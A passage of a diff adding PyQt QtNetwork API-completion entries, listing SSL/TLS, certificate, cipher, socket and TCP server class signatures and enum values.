+QtNetwork.QOcspResponse.revocationReason?4() -> QOcspRevocationReason +QtNetwork.QOcspResponse.responder?4() -> QSslCertificate +QtNetwork.QOcspResponse.subject?4() -> QSslCertificate +QtNetwork.QOcspResponse.swap?4(QOcspResponse) +QtNetwork.QPasswordDigestor.deriveKeyPbkdf1?4(QCryptographicHash.Algorithm, QByteArray, QByteArray, int, int) -> QByteArray +QtNetwork.QPasswordDigestor.deriveKeyPbkdf2?4(QCryptographicHash.Algorithm, QByteArray, QByteArray, int, int) -> QByteArray +QtNetwork.QSsl.SslOption?10 +QtNetwork.QSsl.SslOption.SslOptionDisableEmptyFragments?10 +QtNetwork.QSsl.SslOption.SslOptionDisableSessionTickets?10 +QtNetwork.QSsl.SslOption.SslOptionDisableCompression?10 +QtNetwork.QSsl.SslOption.SslOptionDisableServerNameIndication?10 +QtNetwork.QSsl.SslOption.SslOptionDisableLegacyRenegotiation?10 +QtNetwork.QSsl.SslOption.SslOptionDisableSessionSharing?10 +QtNetwork.QSsl.SslOption.SslOptionDisableSessionPersistence?10 +QtNetwork.QSsl.SslOption.SslOptionDisableServerCipherPreference?10 +QtNetwork.QSsl.SslProtocol?10 +QtNetwork.QSsl.SslProtocol.UnknownProtocol?10 +QtNetwork.QSsl.SslProtocol.SslV3?10 +QtNetwork.QSsl.SslProtocol.SslV2?10 +QtNetwork.QSsl.SslProtocol.TlsV1_0?10 +QtNetwork.QSsl.SslProtocol.TlsV1_0OrLater?10 +QtNetwork.QSsl.SslProtocol.TlsV1_1?10 +QtNetwork.QSsl.SslProtocol.TlsV1_1OrLater?10 +QtNetwork.QSsl.SslProtocol.TlsV1_2?10 +QtNetwork.QSsl.SslProtocol.TlsV1_2OrLater?10 +QtNetwork.QSsl.SslProtocol.AnyProtocol?10 +QtNetwork.QSsl.SslProtocol.TlsV1SslV3?10 +QtNetwork.QSsl.SslProtocol.SecureProtocols?10 +QtNetwork.QSsl.SslProtocol.DtlsV1_0?10 +QtNetwork.QSsl.SslProtocol.DtlsV1_0OrLater?10 +QtNetwork.QSsl.SslProtocol.DtlsV1_2?10 +QtNetwork.QSsl.SslProtocol.DtlsV1_2OrLater?10 +QtNetwork.QSsl.SslProtocol.TlsV1_3?10 +QtNetwork.QSsl.SslProtocol.TlsV1_3OrLater?10 +QtNetwork.QSsl.AlternativeNameEntryType?10 +QtNetwork.QSsl.AlternativeNameEntryType.EmailEntry?10 +QtNetwork.QSsl.AlternativeNameEntryType.DnsEntry?10 +QtNetwork.QSsl.AlternativeNameEntryType.IpAddressEntry?10 +QtNetwork.QSsl.KeyAlgorithm?10 +QtNetwork.QSsl.KeyAlgorithm.Opaque?10 +QtNetwork.QSsl.KeyAlgorithm.Rsa?10 +QtNetwork.QSsl.KeyAlgorithm.Dsa?10 +QtNetwork.QSsl.KeyAlgorithm.Ec?10 +QtNetwork.QSsl.KeyAlgorithm.Dh?10 +QtNetwork.QSsl.EncodingFormat?10 +QtNetwork.QSsl.EncodingFormat.Pem?10 +QtNetwork.QSsl.EncodingFormat.Der?10 +QtNetwork.QSsl.KeyType?10 +QtNetwork.QSsl.KeyType.PrivateKey?10 +QtNetwork.QSsl.KeyType.PublicKey?10 +QtNetwork.QSsl.SslOptions?1() +QtNetwork.QSsl.SslOptions.__init__?1(self) +QtNetwork.QSsl.SslOptions?1(int) +QtNetwork.QSsl.SslOptions.__init__?1(self, int) +QtNetwork.QSsl.SslOptions?1(QSsl.SslOptions) +QtNetwork.QSsl.SslOptions.__init__?1(self, QSsl.SslOptions) +QtNetwork.QSslCertificate.PatternSyntax?10 +QtNetwork.QSslCertificate.PatternSyntax.RegularExpression?10 +QtNetwork.QSslCertificate.PatternSyntax.Wildcard?10 +QtNetwork.QSslCertificate.PatternSyntax.FixedString?10 +QtNetwork.QSslCertificate.SubjectInfo?10 +QtNetwork.QSslCertificate.SubjectInfo.Organization?10 +QtNetwork.QSslCertificate.SubjectInfo.CommonName?10 +QtNetwork.QSslCertificate.SubjectInfo.LocalityName?10 +QtNetwork.QSslCertificate.SubjectInfo.OrganizationalUnitName?10 +QtNetwork.QSslCertificate.SubjectInfo.CountryName?10 +QtNetwork.QSslCertificate.SubjectInfo.StateOrProvinceName?10 +QtNetwork.QSslCertificate.SubjectInfo.DistinguishedNameQualifier?10 +QtNetwork.QSslCertificate.SubjectInfo.SerialNumber?10 +QtNetwork.QSslCertificate.SubjectInfo.EmailAddress?10 +QtNetwork.QSslCertificate?1(QIODevice, QSsl.EncodingFormat format=QSsl.Pem) +QtNetwork.QSslCertificate.__init__?1(self, QIODevice, QSsl.EncodingFormat format=QSsl.Pem) +QtNetwork.QSslCertificate?1(QByteArray data=QByteArray(), QSsl.EncodingFormat format=QSsl.Pem) +QtNetwork.QSslCertificate.__init__?1(self, QByteArray data=QByteArray(), QSsl.EncodingFormat format=QSsl.Pem) +QtNetwork.QSslCertificate?1(QSslCertificate) +QtNetwork.QSslCertificate.__init__?1(self, QSslCertificate) +QtNetwork.QSslCertificate.isNull?4() -> bool +QtNetwork.QSslCertificate.clear?4() +QtNetwork.QSslCertificate.version?4() -> QByteArray +QtNetwork.QSslCertificate.serialNumber?4() -> QByteArray +QtNetwork.QSslCertificate.digest?4(QCryptographicHash.Algorithm algorithm=QCryptographicHash.Md5) -> QByteArray +QtNetwork.QSslCertificate.issuerInfo?4(QSslCertificate.SubjectInfo) -> QStringList +QtNetwork.QSslCertificate.issuerInfo?4(QByteArray) -> QStringList +QtNetwork.QSslCertificate.subjectInfo?4(QSslCertificate.SubjectInfo) -> QStringList +QtNetwork.QSslCertificate.subjectInfo?4(QByteArray) -> QStringList +QtNetwork.QSslCertificate.subjectAlternativeNames?4() -> unknown-type +QtNetwork.QSslCertificate.effectiveDate?4() -> QDateTime +QtNetwork.QSslCertificate.expiryDate?4() -> QDateTime +QtNetwork.QSslCertificate.publicKey?4() -> QSslKey +QtNetwork.QSslCertificate.toPem?4() -> QByteArray +QtNetwork.QSslCertificate.toDer?4() -> QByteArray +QtNetwork.QSslCertificate.fromPath?4(QString, QSsl.EncodingFormat format=QSsl.Pem, QRegExp.PatternSyntax syntax=QRegExp.FixedString) -> unknown-type +QtNetwork.QSslCertificate.fromDevice?4(QIODevice, QSsl.EncodingFormat format=QSsl.Pem) -> unknown-type +QtNetwork.QSslCertificate.fromData?4(QByteArray, QSsl.EncodingFormat format=QSsl.Pem) -> unknown-type +QtNetwork.QSslCertificate.handle?4() -> sip.voidptr +QtNetwork.QSslCertificate.swap?4(QSslCertificate) +QtNetwork.QSslCertificate.isBlacklisted?4() -> bool +QtNetwork.QSslCertificate.subjectInfoAttributes?4() -> unknown-type +QtNetwork.QSslCertificate.issuerInfoAttributes?4() -> unknown-type +QtNetwork.QSslCertificate.extensions?4() -> unknown-type +QtNetwork.QSslCertificate.toText?4() -> QString +QtNetwork.QSslCertificate.verify?4(unknown-type, QString hostName='') -> unknown-type +QtNetwork.QSslCertificate.isSelfSigned?4() -> bool +QtNetwork.QSslCertificate.importPkcs12?4(QIODevice, QSslKey, QSslCertificate, unknown-type caCertificates=[], QByteArray passPhrase=QByteArray()) -> bool +QtNetwork.QSslCertificate.issuerDisplayName?4() -> QString +QtNetwork.QSslCertificate.subjectDisplayName?4() -> QString +QtNetwork.QSslCertificateExtension?1() +QtNetwork.QSslCertificateExtension.__init__?1(self) +QtNetwork.QSslCertificateExtension?1(QSslCertificateExtension) +QtNetwork.QSslCertificateExtension.__init__?1(self, QSslCertificateExtension) +QtNetwork.QSslCertificateExtension.swap?4(QSslCertificateExtension) +QtNetwork.QSslCertificateExtension.oid?4() -> QString +QtNetwork.QSslCertificateExtension.name?4() -> QString +QtNetwork.QSslCertificateExtension.value?4() -> QVariant +QtNetwork.QSslCertificateExtension.isCritical?4() -> bool +QtNetwork.QSslCertificateExtension.isSupported?4() -> bool +QtNetwork.QSslCipher?1() +QtNetwork.QSslCipher.__init__?1(self) +QtNetwork.QSslCipher?1(QString) +QtNetwork.QSslCipher.__init__?1(self, QString) +QtNetwork.QSslCipher?1(QString, QSsl.SslProtocol) +QtNetwork.QSslCipher.__init__?1(self, QString, QSsl.SslProtocol) +QtNetwork.QSslCipher?1(QSslCipher) +QtNetwork.QSslCipher.__init__?1(self, QSslCipher) +QtNetwork.QSslCipher.isNull?4() -> bool +QtNetwork.QSslCipher.name?4() -> QString +QtNetwork.QSslCipher.supportedBits?4() -> int +QtNetwork.QSslCipher.usedBits?4() -> int +QtNetwork.QSslCipher.keyExchangeMethod?4() -> QString +QtNetwork.QSslCipher.authenticationMethod?4() -> QString +QtNetwork.QSslCipher.encryptionMethod?4() -> QString +QtNetwork.QSslCipher.protocolString?4() -> QString +QtNetwork.QSslCipher.protocol?4() -> QSsl.SslProtocol +QtNetwork.QSslCipher.swap?4(QSslCipher) +QtNetwork.QSslConfiguration.NextProtocolNegotiationStatus?10 +QtNetwork.QSslConfiguration.NextProtocolNegotiationStatus.NextProtocolNegotiationNone?10 +QtNetwork.QSslConfiguration.NextProtocolNegotiationStatus.NextProtocolNegotiationNegotiated?10 +QtNetwork.QSslConfiguration.NextProtocolNegotiationStatus.NextProtocolNegotiationUnsupported?10 +QtNetwork.QSslConfiguration.NextProtocolHttp1_1?7 +QtNetwork.QSslConfiguration.NextProtocolSpdy3_0?7 +QtNetwork.QSslConfiguration?1() +QtNetwork.QSslConfiguration.__init__?1(self) +QtNetwork.QSslConfiguration?1(QSslConfiguration) +QtNetwork.QSslConfiguration.__init__?1(self, QSslConfiguration) +QtNetwork.QSslConfiguration.isNull?4() -> bool +QtNetwork.QSslConfiguration.protocol?4() -> QSsl.SslProtocol +QtNetwork.QSslConfiguration.setProtocol?4(QSsl.SslProtocol) +QtNetwork.QSslConfiguration.peerVerifyMode?4() -> QSslSocket.PeerVerifyMode +QtNetwork.QSslConfiguration.setPeerVerifyMode?4(QSslSocket.PeerVerifyMode) +QtNetwork.QSslConfiguration.peerVerifyDepth?4() -> int +QtNetwork.QSslConfiguration.setPeerVerifyDepth?4(int) +QtNetwork.QSslConfiguration.localCertificate?4() -> QSslCertificate +QtNetwork.QSslConfiguration.setLocalCertificate?4(QSslCertificate) +QtNetwork.QSslConfiguration.peerCertificate?4() -> QSslCertificate +QtNetwork.QSslConfiguration.peerCertificateChain?4() -> unknown-type +QtNetwork.QSslConfiguration.sessionCipher?4() -> QSslCipher +QtNetwork.QSslConfiguration.privateKey?4() -> QSslKey +QtNetwork.QSslConfiguration.setPrivateKey?4(QSslKey) +QtNetwork.QSslConfiguration.ciphers?4() -> unknown-type +QtNetwork.QSslConfiguration.setCiphers?4(unknown-type) +QtNetwork.QSslConfiguration.caCertificates?4() -> unknown-type +QtNetwork.QSslConfiguration.setCaCertificates?4(unknown-type) +QtNetwork.QSslConfiguration.defaultConfiguration?4() -> QSslConfiguration +QtNetwork.QSslConfiguration.setDefaultConfiguration?4(QSslConfiguration) +QtNetwork.QSslConfiguration.setSslOption?4(QSsl.SslOption, bool) +QtNetwork.QSslConfiguration.testSslOption?4(QSsl.SslOption) -> bool +QtNetwork.QSslConfiguration.swap?4(QSslConfiguration) +QtNetwork.QSslConfiguration.localCertificateChain?4() -> unknown-type +QtNetwork.QSslConfiguration.setLocalCertificateChain?4(unknown-type) +QtNetwork.QSslConfiguration.sessionTicket?4() -> QByteArray +QtNetwork.QSslConfiguration.setSessionTicket?4(QByteArray) +QtNetwork.QSslConfiguration.sessionTicketLifeTimeHint?4() -> int +QtNetwork.QSslConfiguration.setAllowedNextProtocols?4(unknown-type) +QtNetwork.QSslConfiguration.allowedNextProtocols?4() -> unknown-type +QtNetwork.QSslConfiguration.nextNegotiatedProtocol?4() -> QByteArray +QtNetwork.QSslConfiguration.nextProtocolNegotiationStatus?4() -> QSslConfiguration.NextProtocolNegotiationStatus +QtNetwork.QSslConfiguration.sessionProtocol?4() -> QSsl.SslProtocol +QtNetwork.QSslConfiguration.supportedCiphers?4() -> unknown-type +QtNetwork.QSslConfiguration.systemCaCertificates?4() -> unknown-type +QtNetwork.QSslConfiguration.ellipticCurves?4() -> unknown-type +QtNetwork.QSslConfiguration.setEllipticCurves?4(unknown-type) +QtNetwork.QSslConfiguration.supportedEllipticCurves?4() -> unknown-type +QtNetwork.QSslConfiguration.ephemeralServerKey?4() -> QSslKey +QtNetwork.QSslConfiguration.preSharedKeyIdentityHint?4() -> QByteArray +QtNetwork.QSslConfiguration.setPreSharedKeyIdentityHint?4(QByteArray) +QtNetwork.QSslConfiguration.diffieHellmanParameters?4() -> QSslDiffieHellmanParameters +QtNetwork.QSslConfiguration.setDiffieHellmanParameters?4(QSslDiffieHellmanParameters) +QtNetwork.QSslConfiguration.backendConfiguration?4() -> unknown-type +QtNetwork.QSslConfiguration.setBackendConfigurationOption?4(QByteArray, QVariant) +QtNetwork.QSslConfiguration.setBackendConfiguration?4(unknown-type backendConfiguration={}) +QtNetwork.QSslConfiguration.setOcspStaplingEnabled?4(bool) +QtNetwork.QSslConfiguration.ocspStaplingEnabled?4() -> bool +QtNetwork.QSslConfiguration.addCaCertificate?4(QSslCertificate) +QtNetwork.QSslConfiguration.addCaCertificates?4(QString, QSsl.EncodingFormat format=QSsl.Pem, QSslCertificate.PatternSyntax syntax=QSslCertificate.PatternSyntax.FixedString) -> bool +QtNetwork.QSslConfiguration.addCaCertificates?4(unknown-type) +QtNetwork.QSslDiffieHellmanParameters.Error?10 +QtNetwork.QSslDiffieHellmanParameters.Error.NoError?10 +QtNetwork.QSslDiffieHellmanParameters.Error.InvalidInputDataError?10 +QtNetwork.QSslDiffieHellmanParameters.Error.UnsafeParametersError?10 +QtNetwork.QSslDiffieHellmanParameters?1() +QtNetwork.QSslDiffieHellmanParameters.__init__?1(self) +QtNetwork.QSslDiffieHellmanParameters?1(QSslDiffieHellmanParameters) +QtNetwork.QSslDiffieHellmanParameters.__init__?1(self, QSslDiffieHellmanParameters) +QtNetwork.QSslDiffieHellmanParameters.swap?4(QSslDiffieHellmanParameters) +QtNetwork.QSslDiffieHellmanParameters.defaultParameters?4() -> QSslDiffieHellmanParameters +QtNetwork.QSslDiffieHellmanParameters.fromEncoded?4(QByteArray, QSsl.EncodingFormat encoding=QSsl.EncodingFormat.Pem) -> QSslDiffieHellmanParameters +QtNetwork.QSslDiffieHellmanParameters.fromEncoded?4(QIODevice, QSsl.EncodingFormat encoding=QSsl.EncodingFormat.Pem) -> QSslDiffieHellmanParameters +QtNetwork.QSslDiffieHellmanParameters.isEmpty?4() -> bool +QtNetwork.QSslDiffieHellmanParameters.isValid?4() -> bool +QtNetwork.QSslDiffieHellmanParameters.error?4() -> QSslDiffieHellmanParameters.Error +QtNetwork.QSslDiffieHellmanParameters.errorString?4() -> QString +QtNetwork.QSslEllipticCurve?1() +QtNetwork.QSslEllipticCurve.__init__?1(self) +QtNetwork.QSslEllipticCurve?1(QSslEllipticCurve) +QtNetwork.QSslEllipticCurve.__init__?1(self, QSslEllipticCurve) +QtNetwork.QSslEllipticCurve.fromShortName?4(QString) -> QSslEllipticCurve +QtNetwork.QSslEllipticCurve.fromLongName?4(QString) -> QSslEllipticCurve +QtNetwork.QSslEllipticCurve.shortName?4() -> QString +QtNetwork.QSslEllipticCurve.longName?4() -> QString +QtNetwork.QSslEllipticCurve.isValid?4() -> bool +QtNetwork.QSslEllipticCurve.isTlsNamedCurve?4() -> bool +QtNetwork.QSslError.SslError?10 +QtNetwork.QSslError.SslError.UnspecifiedError?10 +QtNetwork.QSslError.SslError.NoError?10 +QtNetwork.QSslError.SslError.UnableToGetIssuerCertificate?10 +QtNetwork.QSslError.SslError.UnableToDecryptCertificateSignature?10 +QtNetwork.QSslError.SslError.UnableToDecodeIssuerPublicKey?10 +QtNetwork.QSslError.SslError.CertificateSignatureFailed?10 +QtNetwork.QSslError.SslError.CertificateNotYetValid?10 +QtNetwork.QSslError.SslError.CertificateExpired?10 +QtNetwork.QSslError.SslError.InvalidNotBeforeField?10 +QtNetwork.QSslError.SslError.InvalidNotAfterField?10 +QtNetwork.QSslError.SslError.SelfSignedCertificate?10 +QtNetwork.QSslError.SslError.SelfSignedCertificateInChain?10 +QtNetwork.QSslError.SslError.UnableToGetLocalIssuerCertificate?10 +QtNetwork.QSslError.SslError.UnableToVerifyFirstCertificate?10 +QtNetwork.QSslError.SslError.CertificateRevoked?10 +QtNetwork.QSslError.SslError.InvalidCaCertificate?10 +QtNetwork.QSslError.SslError.PathLengthExceeded?10 +QtNetwork.QSslError.SslError.InvalidPurpose?10 +QtNetwork.QSslError.SslError.CertificateUntrusted?10 +QtNetwork.QSslError.SslError.CertificateRejected?10 +QtNetwork.QSslError.SslError.SubjectIssuerMismatch?10 +QtNetwork.QSslError.SslError.AuthorityIssuerSerialNumberMismatch?10 +QtNetwork.QSslError.SslError.NoPeerCertificate?10 +QtNetwork.QSslError.SslError.HostNameMismatch?10 +QtNetwork.QSslError.SslError.NoSslSupport?10 +QtNetwork.QSslError.SslError.CertificateBlacklisted?10 +QtNetwork.QSslError.SslError.CertificateStatusUnknown?10 +QtNetwork.QSslError.SslError.OcspNoResponseFound?10 +QtNetwork.QSslError.SslError.OcspMalformedRequest?10 +QtNetwork.QSslError.SslError.OcspMalformedResponse?10 +QtNetwork.QSslError.SslError.OcspInternalError?10 +QtNetwork.QSslError.SslError.OcspTryLater?10 +QtNetwork.QSslError.SslError.OcspSigRequred?10 +QtNetwork.QSslError.SslError.OcspUnauthorized?10 +QtNetwork.QSslError.SslError.OcspResponseCannotBeTrusted?10 +QtNetwork.QSslError.SslError.OcspResponseCertIdUnknown?10 +QtNetwork.QSslError.SslError.OcspResponseExpired?10 +QtNetwork.QSslError.SslError.OcspStatusUnknown?10 +QtNetwork.QSslError?1() +QtNetwork.QSslError.__init__?1(self) +QtNetwork.QSslError?1(QSslError.SslError) +QtNetwork.QSslError.__init__?1(self, QSslError.SslError) +QtNetwork.QSslError?1(QSslError.SslError, QSslCertificate) +QtNetwork.QSslError.__init__?1(self, QSslError.SslError, QSslCertificate) +QtNetwork.QSslError?1(QSslError) +QtNetwork.QSslError.__init__?1(self, QSslError) +QtNetwork.QSslError.error?4() -> QSslError.SslError +QtNetwork.QSslError.errorString?4() -> QString +QtNetwork.QSslError.certificate?4() -> QSslCertificate +QtNetwork.QSslError.swap?4(QSslError) +QtNetwork.QSslKey?1() +QtNetwork.QSslKey.__init__?1(self) +QtNetwork.QSslKey?1(QByteArray, QSsl.KeyAlgorithm, QSsl.EncodingFormat encoding=QSsl.Pem, QSsl.KeyType type=QSsl.PrivateKey, QByteArray passPhrase=QByteArray()) +QtNetwork.QSslKey.__init__?1(self, QByteArray, QSsl.KeyAlgorithm, QSsl.EncodingFormat encoding=QSsl.Pem, QSsl.KeyType type=QSsl.PrivateKey, QByteArray passPhrase=QByteArray()) +QtNetwork.QSslKey?1(QIODevice, QSsl.KeyAlgorithm, QSsl.EncodingFormat encoding=QSsl.Pem, QSsl.KeyType type=QSsl.PrivateKey, QByteArray passPhrase=QByteArray()) +QtNetwork.QSslKey.__init__?1(self, QIODevice, QSsl.KeyAlgorithm, QSsl.EncodingFormat encoding=QSsl.Pem, QSsl.KeyType type=QSsl.PrivateKey, QByteArray passPhrase=QByteArray()) +QtNetwork.QSslKey?1(sip.voidptr, QSsl.KeyType type=QSsl.PrivateKey) +QtNetwork.QSslKey.__init__?1(self, sip.voidptr, QSsl.KeyType type=QSsl.PrivateKey) +QtNetwork.QSslKey?1(QSslKey) +QtNetwork.QSslKey.__init__?1(self, QSslKey) +QtNetwork.QSslKey.isNull?4() -> bool +QtNetwork.QSslKey.clear?4() +QtNetwork.QSslKey.length?4() -> int +QtNetwork.QSslKey.type?4() -> QSsl.KeyType +QtNetwork.QSslKey.algorithm?4() -> QSsl.KeyAlgorithm +QtNetwork.QSslKey.toPem?4(QByteArray passPhrase=QByteArray()) -> QByteArray +QtNetwork.QSslKey.toDer?4(QByteArray passPhrase=QByteArray()) -> QByteArray +QtNetwork.QSslKey.handle?4() -> sip.voidptr +QtNetwork.QSslKey.swap?4(QSslKey) +QtNetwork.QSslPreSharedKeyAuthenticator?1() +QtNetwork.QSslPreSharedKeyAuthenticator.__init__?1(self) +QtNetwork.QSslPreSharedKeyAuthenticator?1(QSslPreSharedKeyAuthenticator) +QtNetwork.QSslPreSharedKeyAuthenticator.__init__?1(self, QSslPreSharedKeyAuthenticator) +QtNetwork.QSslPreSharedKeyAuthenticator.swap?4(QSslPreSharedKeyAuthenticator) +QtNetwork.QSslPreSharedKeyAuthenticator.identityHint?4() -> QByteArray +QtNetwork.QSslPreSharedKeyAuthenticator.setIdentity?4(QByteArray) +QtNetwork.QSslPreSharedKeyAuthenticator.identity?4() -> QByteArray +QtNetwork.QSslPreSharedKeyAuthenticator.maximumIdentityLength?4() -> int +QtNetwork.QSslPreSharedKeyAuthenticator.setPreSharedKey?4(QByteArray) +QtNetwork.QSslPreSharedKeyAuthenticator.preSharedKey?4() -> QByteArray +QtNetwork.QSslPreSharedKeyAuthenticator.maximumPreSharedKeyLength?4() -> int +QtNetwork.QTcpSocket?1(QObject parent=None) +QtNetwork.QTcpSocket.__init__?1(self, QObject parent=None) +QtNetwork.QSslSocket.PeerVerifyMode?10 +QtNetwork.QSslSocket.PeerVerifyMode.VerifyNone?10 +QtNetwork.QSslSocket.PeerVerifyMode.QueryPeer?10 +QtNetwork.QSslSocket.PeerVerifyMode.VerifyPeer?10 +QtNetwork.QSslSocket.PeerVerifyMode.AutoVerifyPeer?10 +QtNetwork.QSslSocket.SslMode?10 +QtNetwork.QSslSocket.SslMode.UnencryptedMode?10 +QtNetwork.QSslSocket.SslMode.SslClientMode?10 +QtNetwork.QSslSocket.SslMode.SslServerMode?10 +QtNetwork.QSslSocket?1(QObject parent=None) +QtNetwork.QSslSocket.__init__?1(self, QObject parent=None) +QtNetwork.QSslSocket.connectToHostEncrypted?4(QString, int, QIODevice.OpenMode mode=QIODevice.ReadWrite, QAbstractSocket.NetworkLayerProtocol protocol=QAbstractSocket.AnyIPProtocol) +QtNetwork.QSslSocket.connectToHostEncrypted?4(QString, int, QString, QIODevice.OpenMode mode=QIODevice.ReadWrite, QAbstractSocket.NetworkLayerProtocol protocol=QAbstractSocket.AnyIPProtocol) +QtNetwork.QSslSocket.setSocketDescriptor?4(qintptr, QAbstractSocket.SocketState state=QAbstractSocket.ConnectedState, QIODevice.OpenMode mode=QIODevice.ReadWrite) -> bool +QtNetwork.QSslSocket.mode?4() -> QSslSocket.SslMode +QtNetwork.QSslSocket.isEncrypted?4() -> bool +QtNetwork.QSslSocket.protocol?4() -> QSsl.SslProtocol +QtNetwork.QSslSocket.setProtocol?4(QSsl.SslProtocol) +QtNetwork.QSslSocket.bytesAvailable?4() -> int +QtNetwork.QSslSocket.bytesToWrite?4() -> int +QtNetwork.QSslSocket.canReadLine?4() -> bool +QtNetwork.QSslSocket.close?4() +QtNetwork.QSslSocket.atEnd?4() -> bool +QtNetwork.QSslSocket.flush?4() -> bool +QtNetwork.QSslSocket.abort?4() +QtNetwork.QSslSocket.setLocalCertificate?4(QSslCertificate) +QtNetwork.QSslSocket.setLocalCertificate?4(QString, QSsl.EncodingFormat format=QSsl.Pem) +QtNetwork.QSslSocket.localCertificate?4() -> QSslCertificate +QtNetwork.QSslSocket.peerCertificate?4() -> QSslCertificate +QtNetwork.QSslSocket.peerCertificateChain?4() -> unknown-type +QtNetwork.QSslSocket.sessionCipher?4() -> QSslCipher +QtNetwork.QSslSocket.setPrivateKey?4(QSslKey) +QtNetwork.QSslSocket.setPrivateKey?4(QString, QSsl.KeyAlgorithm algorithm=QSsl.Rsa, QSsl.EncodingFormat format=QSsl.Pem, QByteArray passPhrase=QByteArray()) +QtNetwork.QSslSocket.privateKey?4() -> QSslKey +QtNetwork.QSslSocket.ciphers?4() -> unknown-type +QtNetwork.QSslSocket.setCiphers?4(unknown-type) +QtNetwork.QSslSocket.setCiphers?4(QString) +QtNetwork.QSslSocket.setDefaultCiphers?4(unknown-type) +QtNetwork.QSslSocket.defaultCiphers?4() -> unknown-type +QtNetwork.QSslSocket.supportedCiphers?4() -> unknown-type +QtNetwork.QSslSocket.addCaCertificates?4(QString, QSsl.EncodingFormat format=QSsl.Pem, QRegExp.PatternSyntax syntax=QRegExp.FixedString) -> bool +QtNetwork.QSslSocket.addCaCertificate?4(QSslCertificate) +QtNetwork.QSslSocket.addCaCertificates?4(unknown-type) +QtNetwork.QSslSocket.setCaCertificates?4(unknown-type) +QtNetwork.QSslSocket.caCertificates?4() -> unknown-type +QtNetwork.QSslSocket.addDefaultCaCertificates?4(QString, QSsl.EncodingFormat format=QSsl.Pem, QRegExp.PatternSyntax syntax=QRegExp.FixedString) -> bool +QtNetwork.QSslSocket.addDefaultCaCertificate?4(QSslCertificate) +QtNetwork.QSslSocket.addDefaultCaCertificates?4(unknown-type) +QtNetwork.QSslSocket.setDefaultCaCertificates?4(unknown-type) +QtNetwork.QSslSocket.defaultCaCertificates?4() -> unknown-type +QtNetwork.QSslSocket.systemCaCertificates?4() -> unknown-type +QtNetwork.QSslSocket.waitForConnected?4(int msecs=30000) -> bool +QtNetwork.QSslSocket.waitForEncrypted?4(int msecs=30000) -> bool +QtNetwork.QSslSocket.waitForReadyRead?4(int msecs=30000) -> bool +QtNetwork.QSslSocket.waitForBytesWritten?4(int msecs=30000) -> bool +QtNetwork.QSslSocket.waitForDisconnected?4(int msecs=30000) -> bool +QtNetwork.QSslSocket.sslErrors?4() -> unknown-type +QtNetwork.QSslSocket.supportsSsl?4() -> bool +QtNetwork.QSslSocket.startClientEncryption?4() +QtNetwork.QSslSocket.startServerEncryption?4() +QtNetwork.QSslSocket.ignoreSslErrors?4() +QtNetwork.QSslSocket.encrypted?4() +QtNetwork.QSslSocket.sslErrors?4(unknown-type) +QtNetwork.QSslSocket.modeChanged?4(QSslSocket.SslMode) +QtNetwork.QSslSocket.preSharedKeyAuthenticationRequired?4(QSslPreSharedKeyAuthenticator) +QtNetwork.QSslSocket.readData?4(int) -> object +QtNetwork.QSslSocket.writeData?4(bytes) -> int +QtNetwork.QSslSocket.peerVerifyMode?4() -> QSslSocket.PeerVerifyMode +QtNetwork.QSslSocket.setPeerVerifyMode?4(QSslSocket.PeerVerifyMode) +QtNetwork.QSslSocket.peerVerifyDepth?4() -> int +QtNetwork.QSslSocket.setPeerVerifyDepth?4(int) +QtNetwork.QSslSocket.setReadBufferSize?4(int) +QtNetwork.QSslSocket.encryptedBytesAvailable?4() -> int +QtNetwork.QSslSocket.encryptedBytesToWrite?4() -> int +QtNetwork.QSslSocket.sslConfiguration?4() -> QSslConfiguration +QtNetwork.QSslSocket.setSslConfiguration?4(QSslConfiguration) +QtNetwork.QSslSocket.peerVerifyError?4(QSslError) +QtNetwork.QSslSocket.encryptedBytesWritten?4(int) +QtNetwork.QSslSocket.setSocketOption?4(QAbstractSocket.SocketOption, QVariant) +QtNetwork.QSslSocket.socketOption?4(QAbstractSocket.SocketOption) -> QVariant +QtNetwork.QSslSocket.ignoreSslErrors?4(unknown-type) +QtNetwork.QSslSocket.peerVerifyName?4() -> QString +QtNetwork.QSslSocket.setPeerVerifyName?4(QString) +QtNetwork.QSslSocket.resume?4() +QtNetwork.QSslSocket.connectToHost?4(QString, int, QIODevice.OpenMode mode=QIODevice.ReadWrite, QAbstractSocket.NetworkLayerProtocol protocol=QAbstractSocket.AnyIPProtocol) +QtNetwork.QSslSocket.disconnectFromHost?4() +QtNetwork.QSslSocket.sslLibraryVersionNumber?4() -> int +QtNetwork.QSslSocket.sslLibraryVersionString?4() -> QString +QtNetwork.QSslSocket.setLocalCertificateChain?4(unknown-type) +QtNetwork.QSslSocket.localCertificateChain?4() -> unknown-type +QtNetwork.QSslSocket.sessionProtocol?4() -> QSsl.SslProtocol +QtNetwork.QSslSocket.sslLibraryBuildVersionNumber?4() -> int +QtNetwork.QSslSocket.sslLibraryBuildVersionString?4() -> QString +QtNetwork.QSslSocket.ocspResponses?4() -> unknown-type +QtNetwork.QSslSocket.sslHandshakeErrors?4() -> unknown-type +QtNetwork.QSslSocket.newSessionTicketReceived?4() +QtNetwork.QTcpServer?1(QObject parent=None) +QtNetwork.QTcpServer.__init__?1(self, QObject parent=None) +QtNetwork.QTcpServer.listen?4(QHostAddress address=QHostAddress.Any, int port=0) -> bool +QtNetwork.QTcpServer.close?4() +QtNetwork.QTcpServer.isListening?4() -> bool +QtNetwork.QTcpServer.setMaxPendingConnections?4(int) +QtNetwork.QTcpServer.maxPendingConnections?4() -> int +QtNetwork.QTcpServer.serverPort?4() -> int +QtNetwork.QTcpServer.serverAddress?4() -> QHostAddress +QtNetwork.QTcpServer.socketDescriptor?4() -> qintptr +QtNetwork.QTcpServer.setSocketDescriptor?4(qintptr) -> bool +QtNetwork.QTcpServer.waitForNewConnection?4(int msecs=0) -> (bool, bool) +QtNetwork.QTcpServer.hasPendingConnections?4() -> bool +QtNetwork.QTcpServer.nextPendingConnection?4() -> QTcpSocket +QtNetwork.QTcpServer.serverError?4() -> QAbstractSocket.SocketError +QtNetwork.QTcpServer.errorString?4() -> QString +QtNetwork.QTcpServer.setProxy?4(QNetworkProxy) +QtNetwork.QTcpServer.proxy?4() -> QNetworkProxy +QtNetwork.QTcpServer.pauseAccepting?4() +QtNetwork.QTcpServer.resumeAccepting?4() +QtNetwork.QTcpServer.incomingConnection?4(qintptr) +QtNetwork.QTcpServer.addPendingConnection?4(QTcpSocket) +QtNetwork.QTcpServer.newConnection?4() +QtNetwork.QTcpServer.acceptError?4(QAbstractSocket.SocketError) +QtNetwork.QUdpSocket?1(QObject parent=None) +QtNetwork.QUdpSocket.__init__?1(self, QObject parent=None) +QtNetwork.QUdpSocket.hasPendingDatagrams?4() -> bool 